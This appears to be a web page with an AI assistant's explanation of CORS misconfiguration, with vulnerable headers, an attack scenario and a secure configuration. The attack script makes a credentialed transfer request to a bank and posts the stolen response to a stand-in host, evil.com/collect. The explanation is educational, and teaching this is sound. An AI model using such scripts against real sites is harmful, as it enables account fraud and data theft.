explain cors vulnerability with attack scenario
- User
explain cors vulnerability with attack scenario
Assistant
CORS (Cross-Origin Resource Sharing) vulnerabilities occur when web applications misconfigure their CORS policies, allowing malicious websites to make unauthorized requests to the application on behalf of authenticated users.
How CORS Works
CORS is a browser security mechanism that controls which domains can make requests to your web application. When a website tries to make a cross-origin request, the browser first sends a preflight request to check if it's allowed.
Common Vulnerable Configurations
Wildcard with Credentials
// Vulnerable configuration Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: trueReflecting Origins Without Validation
// Vulnerable - blindly reflects any origin Access-Control-Allow-Origin: [whatever the request Origin header contains] Access-Control-Allow-Credentials: trueAttack Scenario
Setup: A banking application at
bank.comhas misconfigured CORS that reflects any origin while allowing credentials.Attack Steps:
- Attacker creates malicious website at
evil.comwith this JavaScript:
fetch('https://bank.com/api/transfer', { method: 'POST', credentials: 'include', // Includes cookies headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ to_account: 'attacker-account', amount: 1000 }) }) .then(response => response.json()) .then(data => { // Send stolen data to attacker's server fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) }); });- Victim visits evil.com while logged into their bank account
- Browser makes request to
bank.comwith victim's session cookies - Bank's misconfigured CORS allows the request because it reflects
evil.comas an allowed origin - Money gets transferred to attacker's account using victim's credentials
Proper CORS Configuration
// Secure configuration Access-Control-Allow-Origin: https://trusted-domain.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type, AuthorizationThe key is to explicitly whitelist trusted domains rather than using wildcards or reflecting arbitrary origins, especially when credentials are involved.
- Attacker creates malicious website at
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.